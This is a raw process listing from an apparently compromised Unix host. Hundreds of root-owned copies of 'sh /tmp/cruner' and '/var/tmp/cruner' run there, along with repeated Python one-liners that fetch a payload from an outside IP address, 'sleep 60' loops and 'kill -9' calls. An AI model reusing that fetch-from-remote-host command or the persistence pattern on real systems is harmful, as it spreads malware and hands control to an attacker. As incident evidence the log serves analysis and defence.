/var/tmp/cruner > root 21934 27153 0 15:44:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6652 12074 0 - ? 0:00 <defunct> > root 21864 19125 0 15:45:52 ? 0:00 sleep 60 > root 5133 3766 0 - ? 0:00 <defunct> > root 7520 13396 0 15:45:04 ? 0:00 bash -sh > root 9757 17937 0 15:45:41 ? 0:00 sleep 60 > root 20881 20873 0 15:42:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10689 3160 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7758 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7819 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26830 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29472 11974 0 15:45:18 ? 0:00 sleep 60 > root 9437 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17730 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21409 6473 0 15:45:12 ? 0:00 sleep 60 > root 5527 12159 0 15:45:28 ? 0:00 sleep 60 > root 7913 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27130 6352 0 15:46:10 ? 0:00 bash -sh > root 16423 14681 0 15:45:51 ? 0:00 bash -sh > root 18465 4503 0 - ? 0:00 <defunct> > root 28568 15276 0 15:45:34 ? 0:00 sleep 60 > root 23096 18588 0 - ? 0:00 <defunct> > root 7033 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17422 14944 0 15:45:42 ? 0:00 bash -sh > root 27706 5802 0 - ? 0:00 <defunct> > root 3063 3061 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27511 5011 0 - ? 0:00 <defunct> > root 16349 16301 0 - ? 0:00 <defunct> > root 19843 13320 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 19880 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9420 8887 0 15:45:50 ? 0:00 xargs kill -9 > root 6331 25375 0 15:45:15 ? 0:00 sleep 60 > root 10249 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5422 19507 0 15:45:49 ? 0:00 bash -sh > root 27365 25776 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28521 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22325 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4260 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18129 18126 0 - ? 0:00 <defunct> > root 6103 29206 0 15:45:49 ? 0:00 sh /tmp/cruner > root 27207 1 0 22:53:32 ? 0:00 sh /var/tmp/cruner > root 17164 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7886 10328 0 15:45:09 ? 0:00 sh /tmp/cruner > root 6183 13814 0 - ? 0:00 <defunct> > root 24870 17798 0 15:45:52 ? 0:00 sleep 60 > root 7384 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9318 15444 0 15:45:41 ? 0:00 bash -sh > root 10300 69 0 - ? 0:00 <defunct> > root 26730 27182 0 15:45:27 ? 0:00 sleep 60 > root 18907 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9182 28192 0 - ? 0:00 <defunct> > root 28163 25679 0 - ? 0:00 <defunct> > root 5897 11155 0 15:43:00 ? 0:00 bash -sh > root 27133 27283 0 15:45:18 ? 0:00 sleep 60 > root 25280 10531 0 15:44:54 ? 0:00 bash -sh > root 18534 1 0 19:20:46 ? 0:00 sh /tmp/cruner > root 7396 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1252 19263 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20616 17350 0 15:45:42 ? 0:00 xargs kill -9 > root 27433 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7983 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23436 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20396 21494 0 15:45:52 ? 0:00 bash -sh > root 15627 9686 0 15:43:12 ? 0:00 bash -sh > root 16956 23783 0 15:44:48 ? 0:00 bash -sh > root 29201 29194 0 15:45:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17887 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15611 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2729 19267 0 15:46:06 ? 0:00 sleep 60 > root 11762 26791 0 15:44:15 ? 0:00 bash -sh > root 27158 8503 0 15:45:47 ? 0:00 bash -sh > root 9581 26839 0 - ? 0:00 <defunct> > root 18611 19902 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8136 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8111 13538 0 15:45:58 ? 0:00 sleep 60 > root 15034 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14424 29312 0 15:45:45 ? 0:00 sleep 60 > root 4757 3489 0 - ? 0:00 <defunct> > root 1995 21330 0 15:45:24 ? 0:00 sleep 60 > root 15648 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6550 6540 0 15:43:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11165 11119 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16254 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15028 7210 0 - ? 0:00 <defunct> > root 9951 1 0 18:08:09 ? 0:01 sh /var/tmp/cruner > root 21784 6777 0 15:46:09 ? 0:00 bash -sh > root 17076 307 0 - ? 0:00 <defunct> > root 10277 8812 0 15:45:36 ? 0:00 sleep 60 > root 17285 20780 0 - ? 0:00 <defunct> > root 21120 27392 0 15:45:52 ? 0:00 bash -sh > root 8783 5629 0 15:45:25 ? 0:00 sleep 60 > root 13329 27655 0 15:45:50 ? 0:00 bash -sh > root 22976 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16225 26566 0 - ? 0:00 <defunct> > root 29661 3800 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 27195 24688 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 7619 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11194 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15039 14500 0 15:43:20 ? 0:00 bash -sh > root 26817 1260 0 15:45:43 ? 0:00 sleep 60 > root 8890 15183 0 15:46:07 ? 0:00 xargs kill -9 > root 29839 20171 0 15:45:44 ? 0:00 sh /var/tmp/cruner > root 12914 9439 0 15:45:11 ? 0:00 bash -sh > root 17795 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5159 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26588 21875 0 15:45:57 ? 0:00 sleep 60 > root 4357 26493 0 15:46:06 ? 0:00 sh /var/tmp/cruner > root 29277 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26484 9869 0 - ? 0:00 <defunct> > root 28898 9995 0 15:45:18 ? 0:00 sleep 60 > root 16743 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 307 29879 0 15:45:24 ? 0:00 bash -sh > root 24587 15498 0 15:44:54 ? 0:00 bash -sh > root 11722 29973 0 - ? 0:00 <defunct> > root 8458 22898 0 15:45:49 ? 0:00 bash -sh > root 6903 16208 0 - ? 0:00 <defunct> > root 16438 23576 0 - ? 0:00 <defunct> > root 19090 24355 0 15:45:12 ? 0:00 bash -sh > root 6385 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20492 25711 0 15:45:29 ? 0:00 sleep 60 > root 10594 24912 0 15:45:59 ? 0:00 bash -sh > root 24022 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10731 9493 0 15:45:10 ? 0:00 bash -sh > root 8738 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21876 9341 0 15:45:02 ? 0:00 bash -sh > root 24713 25769 0 - ? 0:00 <defunct> > root 28846 16939 0 15:45:47 ? 0:00 xargs kill -9 > root 21534 23774 0 15:44:19 ? 0:00 bash -sh > root 25899 7069 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 13454 23849 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10052 26306 0 15:45:10 ? 0:00 bash -sh > root 10819 1706 0 15:46:07 ? 0:00 sleep 60 > root 23301 20882 0 15:46:05 ? 0:00 bash -sh > root 2886 3026 0 15:46:06 ? 0:00 sleep 60 > root 12227 10227 0 - ? 0:00 <defunct> > root 21915 16857 0 15:45:06 ? 0:00 bash -sh > root 7713 13334 0 15:45:20 ? 0:00 sleep 60 > root 11933 29894 0 - ? 0:00 <defunct> > root 4239 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17147 15467 0 - ? 0:00 <defunct> > root 22064 3924 0 15:46:01 ? 0:00 sleep 60 > root 16515 19760 0 15:45:42 ? 0:00 sleep 60 > root 17054 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12440 19420 0 15:44:15 ? 0:00 bash -sh > root 25460 7890 0 - ? 0:00 <defunct> > root 9358 7740 0 15:45:59 ? 0:00 sleep 60 > root 12635 11737 0 15:46:08 ? 0:00 xargs kill -9 > root 10779 23690 0 - ? 0:00 <defunct> > root 23590 26378 0 15:46:10 ? 0:00 bash -sh > root 7857 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11651 23182 0 15:46:07 ? 0:00 xargs kill -9 > root 21299 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14896 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24871 18499 0 - ? 0:00 <defunct> > root 27727 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22634 18785 0 15:43:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28569 12422 0 15:46:11 ? 0:00 xargs kill -9 > root 11219 13539 0 15:46:07 ? 0:00 sleep 60 > root 29375 950 0 - ? 0:00 <defunct> > root 6845 6840 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14112 9464 0 15:44:25 ? 0:00 bash -sh > root 982 981 0 15:44:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26640 15240 0 - ? 0:00 <defunct> > root 13287 20571 0 15:45:59 ? 0:00 xargs kill -9 > root 16260 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13888 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21183 27416 0 - ? 0:00 <defunct> > root 8804 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26406 23316 0 - ? 0:00 <defunct> > root 8260 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14550 25496 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16839 16975 0 15:45:56 ? 0:00 xargs kill -9 > root 19691 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22102 23484 0 - ? 0:00 <defunct> > root 14437 19070 0 15:45:37 ? 0:00 bash -sh > root 24201 6613 0 - ? 0:00 <defunct> > root 6553 24131 0 15:45:04 ? 0:00 bash -sh > root 16116 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16206 15040 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7841 12709 0 15:44:34 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21823 28009 0 15:45:06 ? 0:00 bash -sh > root 8487 5636 0 15:45:40 ? 0:00 sh /tmp/cruner > root 3225 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24087 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 436 6562 0 - ? 0:00 <defunct> > root 12599 12578 0 15:44:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21105 11884 0 - ? 0:00 <defunct> > root 2699 21408 0 15:45:48 ? 0:00 sleep 60 > root 4557 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8586 16123 0 - ? 0:00 <defunct> > root 24033 27355 0 15:45:07 ? 0:00 bash -sh > root 9623 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5767 5093 0 15:44:56 ? 0:00 bash -sh > root 9274 27579 0 - ? 0:00 <defunct> > root 29371 27756 0 15:46:05 ? 0:00 sleep 60 > root 20634 6446 0 15:45:17 ? 0:00 sleep 60 > root 29114 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28870 1840 0 15:46:02 ? 0:00 sleep 60 > root 10955 25863 0 15:44:15 ? 0:00 bash -sh > root 23650 18634 0 - ? 0:00 <defunct> > root 27421 4653 0 15:45:47 ? 0:00 sleep 60 > root 19148 21495 0 - ? 0:00 <defunct> > root 24824 22452 0 - ? 0:00 <defunct> > root 17369 14055 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 13954 5036 0 15:45:37 ? 0:00 bash -sh > root 21757 25996 0 - ? 0:00 <defunct> > root 16658 10629 0 - ? 0:00 <defunct> > root 15986 15263 0 15:45:51 ? 0:00 bash -sh > root 26389 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27775 8813 0 15:46:10 ? 0:00 bash -sh > root 15687 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7265 10827 0 15:46:07 ? 0:00 bash -sh > root 28011 18920 0 - ? 0:00 <defunct> > root 28526 6945 0 - ? 0:00 <defunct> > root 28020 22545 0 - ? 0:00 <defunct> > root 27342 27337 0 15:43:30 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8834 5313 0 - ? 0:00 <defunct> > root 14807 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12970 12835 0 15:45:36 ? 0:00 sleep 60 > root 16387 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28293 25867 0 - ? 0:00 <defunct> > root 13597 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11634 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22860 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5476 5406 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10651 22430 0 15:46:07 ? 0:00 sleep 60 > root 9200 3766 0 - ? 0:00 <defunct> > root 29091 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6643 6614 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22449 5469 0 - ? 0:00 <defunct> > root 1867 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21045 14792 0 - ? 0:00 <defunct> > root 22780 24328 0 15:45:26 ? 0:00 sleep 60 > root 15837 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19624 16031 0 15:45:51 ? 0:00 bash -sh > root 3217 1 0 22:16:40 ? 0:00 sh /var/tmp/cruner > root 2636 7134 0 15:45:53 ? 0:00 bash -sh > root 14171 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17708 24204 0 - ? 0:00 <defunct> > root 12962 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8094 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24560 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20825 24383 0 15:45:42 ? 0:00 sleep 60 > root 599 17202 0 - ? 0:00 <defunct> > root 23000 2496 0 15:45:17 ? 0:00 sleep 60 > root 12640 12639 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13508 21727 0 - ? 0:00 <defunct> > root 24476 21205 0 15:46:01 ? 0:00 sleep 60 > root 17678 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16601 13157 0 15:45:22 ? 0:00 sleep 60 > root 20309 23690 0 - ? 0:00 <defunct> > root 22738 24671 0 15:45:47 ? 0:00 bash -sh > root 4976 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3934 18921 0 15:45:58 ? 0:00 sleep 60 > root 16549 20190 0 15:46:00 ? 0:00 sleep 60 > root 12343 21634 0 - ? 0:00 <defunct> > root 21075 21052 0 15:43:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15810 21990 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28449 22593 0 15:45:34 ? 0:00 sleep 60 > root 23685 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12893 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14251 14244 0 15:44:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24666 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20901 5968 0 - ? 0:00 <defunct> > root 5893 17156 0 - ? 0:00 <defunct> > root 24343 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12089 1 0 21:35:27 ? 0:00 sh /var/tmp/cruner > root 13833 27223 0 15:45:11 ? 0:00 sh /tmp/cruner > root 26127 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17377 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22739 10241 0 - ? 0:00 <defunct> > root 13945 4351 0 - ? 0:00 <defunct> > root 968 17901 0 15:45:08 ? 0:00 bash -sh > root 14026 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25237 5237 0 - ? 0:00 <defunct> > root 1787 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 775 16612 0 - ? 0:00 <defunct> > root 20254 13128 0 - ? 0:00 <defunct> > root 22462 4321 0 15:45:38 ? 0:00 sleep 60 > root 19308 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8604 26230 0 15:45:20 ? 0:00 sleep 60 > root 3767 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22754 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13990 13927 0 15:43:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9901 4316 0 - ? 0:00 <defunct> > root 22098 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20816 16633 0 - ? 0:00 <defunct> > root 17104 17011 0 15:44:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29687 12606 0 15:46:11 ? 0:00 /bin/ksh -p /bin/kill -9 > root 22620 21149 0 15:46:09 ? 0:00 /bin/ksh -p /bin/kill -9 > root 16043 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23146 21250 0 15:46:09 ? 0:00 bash -sh > root 6211 18599 0 15:46:03 ? 0:00 bash -sh > root 2931 6153 0 15:43:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28993 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21386 20785 0 15:45:12 ? 0:00 bash -sh > root 4507 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13806 17561 0 - ? 0:00 <defunct> > root 17892 17949 0 15:44:39 ? 0:00 bash -sh > root 579 1 0 20:41:35 ? 0:00 sh /var/tmp/cruner > root 29340 29316 0 - ? 0:00 <defunct> > root 27070 29023 0 15:45:18 ? 0:00 sleep 60 > root 11407 11399 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21768 23512 0 15:42:43 ? 0:00 bash -sh > root 21449 18241 0 - ? 0:00 <defunct> > root 22472 19360 0 15:42:33 ? 0:00 bash -sh > root 3897 7332 0 15:45:40 ? 0:00 xargs kill -9 > root 9958 27002 0 15:45:50 ? 0:00 sleep 60 > root 20338 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20533 26772 0 15:43:48 ? 0:00 bash -sh > root 6988 25526 0 - ? 0:00 <defunct> > root 13627 22351 0 15:45:59 ? 0:00 bash -sh > root 10879 18672 0 - ? 0:00 <defunct> > root 23274 2372 0 15:45:43 ? 0:00 sleep 60 > root 118 8567 0 - ? 0:00 <defunct> > root 3286 2587 0 15:46:02 ? 0:00 sleep 60 > root 21686 23541 0 15:46:09 ? 0:00 bash -sh > root 22178 22168 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14682 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19758 25926 0 - ? 0:00 <defunct> > root 12379 11017 0 15:43:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1816 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21487 22419 0 15:44:53 ? 0:00 bash -sh > root 11351 1010 0 - ? 0:00 <defunct> > root 24745 14161 0 15:45:57 ? 0:00 sleep 60 > root 13431 13382 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 22571 9117 0 - ? 0:00 <defunct> > root 25274 29887 0 15:43:40 ? 0:00 bash -sh > root 29852 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22552 10080 0 15:43:40 ? 0:00 bash -sh > root 28242 18462 0 - ? 0:00 <defunct> > root 4634 8334 0 15:45:54 ? 0:00 bash -sh > root 16480 12189 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28023 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13183 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22145 17665 0 15:45:42 ? 0:00 bash -sh > root 10727 3155 0 15:45:25 ? 0:00 sleep 60 > root 9771 20920 0 15:44:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26518 12486 0 15:46:10 ? 0:00 /bin/ksh -p /bin/kill -9 > root 27843 20970 0 15:46:05 ? 0:00 sleep 60 > root 5697 24543 0 15:45:49 ? 0:00 bash -sh > root 24376 21771 0 - ? 0:00 <defunct> > root 4847 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28667 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6956 6914 0 - ? 0:00 <defunct> > root 13266 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22641 13179 0 - ? 0:00 <defunct> > root 7370 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18901 11091 0 15:45:42 ? 0:00 xargs kill -9 > root 27814 1783 0 - ? 0:00 <defunct> > root 1869 29631 0 15:46:06 ? 0:00 bash -sh > root 24739 24251 0 15:43:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24990 23447 0 15:46:10 ? 0:00 /bin/ksh -p /bin/kill -9 > root 11214 1441 0 15:45:59 ? 0:00 bash -sh > root 23849 3190 0 15:44:49 ? 0:00 bash -sh > root 3790 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13063 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29754 29379 0 15:45:58 ? 0:00 /bin/ksh -p /bin/kill -9 > root 1228 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3384 25836 0 15:45:19 ? 0:00 sleep 60 > root 16862 11327 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 10246 6400 0 15:45:25 ? 0:00 sleep 60 > root 23931 16848 0 15:44:08 ? 0:00 bash -sh > root 255 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19299 21939 0 - ? 0:00 <defunct> > root 8354 967 0 15:45:31 ? 0:00 bash -sh > root 7010 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20663 20859 0 15:45:12 ? 0:00 bash -sh > root 26788 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23331 1540 0 15:45:43 ? 0:00 bash -sh > root 18383 10397 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 11562 1235 0 - ? 0:00 <defunct> > root 25911 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14123 14120 0 15:44:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20622 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13016 9969 0 15:45:25 ? 0:00 sleep 60 > root 7605 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17542 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21839 4016 0 15:46:01 ? 0:00 bash -sh > root 846 21699 0 15:46:06 ? 0:00 bash -sh > root 18675 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16122 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18707 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 271 4263 0 - ? 0:00 <defunct> > root 16431 16406 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 531 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2724 7622 0 15:45:14 ? 0:00 bash -sh > root 11951 328 0 15:44:51 ? 0:00 bash -sh > root 20007 19977 0 15:43:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29115 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27445 24193 0 15:45:53 ? 0:00 bash -sh > root 29702 5175 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 23212 23302 0 15:41:26 ? 0:00 bash -sh > root 2794 1960 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12171 24532 0 - ? 0:00 <defunct> > root 16827 17128 0 15:46:08 ? 0:00 xargs kill -9 > root 9450 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8950 1 0 21:42:09 ? 0:00 sh /var/tmp/cruner > root 28982 4036 0 15:44:55 ? 0:00 bash -sh > root 29432 23236 0 - ? 0:00 <defunct> > root 15961 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23242 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11368 9801 0 15:45:10 ? 0:00 sleep 60 > root 2921 2917 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2496 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16547 23278 0 - ? 0:00 <defunct> > root 23954 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26441 23740 0 - ? 0:00 <defunct> > root 5685 27243 0 - ? 0:00 <defunct> > root 11492 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6206 21778 0 15:45:15 ? 0:00 sleep 60 > root 17863 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3584 4644 0 15:45:35 ? 0:00 sleep 60 > root 29868 26931 0 15:45:34 ? 0:00 sleep 60 > root 14200 16527 0 15:45:11 ? 0:00 sleep 60 > root 25107 4583 0 15:45:47 ? 0:00 sleep 60 > root 858 23143 0 - ? 0:00 <defunct> > root 21145 3498 0 15:46:00 ? 0:00 sh /tmp/cruner > root 7592 12141 0 15:45:49 ? 0:00 sleep 60 > root 10847 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11737 26778 0 15:45:59 ? 0:00 bash -sh > root 15674 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2016 2462 0 15:45:39 ? 0:00 bash -sh > root 6857 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22772 10270 0 15:46:09 ? 0:00 bash -sh > root 16966 18393 0 - ? 0:00 <defunct> > root 1918 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19917 16418 0 15:45:12 ? 0:00 sleep 60 > root 5029 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9858 9851 0 15:43:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29000 3386 0 - ? 0:00 <defunct> > root 19816 24443 0 - ? 0:00 <defunct> > root 15391 10146 0 15:44:16 ? 0:00 bash -sh > root 21141 17364 0 15:45:56 ? 0:00 sh /var/tmp/cruner > root 98 16142 0 - ? 0:00 <defunct> > root 19726 15178 0 15:45:22 ? 0:00 sleep 60 > root 14100 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25942 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23675 6980 0 15:46:01 ? 0:00 bash -sh > root 27815 9747 0 15:46:02 ? 0:00 sleep 60 > root 29996 4933 0 15:44:41 ? 0:00 bash -sh > root 3926 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21232 14617 0 15:46:09 ? 0:00 bash -sh > root 944 21042 0 - ? 0:00 <defunct> > root 3555 14962 0 15:45:19 ? 0:00 sleep 60 > root 20995 11504 0 15:45:26 ? 0:00 xargs kill -9 > root 2265 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12700 26 0 15:46:08 ? 0:00 bash -sh > root 5420 16866 0 15:45:58 ? 0:00 bash -sh > root 7708 7702 0 15:45:58 ? 0:00 /bin/ksh -p /bin/kill -9 > root 14809 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7043 16211 0 15:45:45 ? 0:00 bash -sh > root 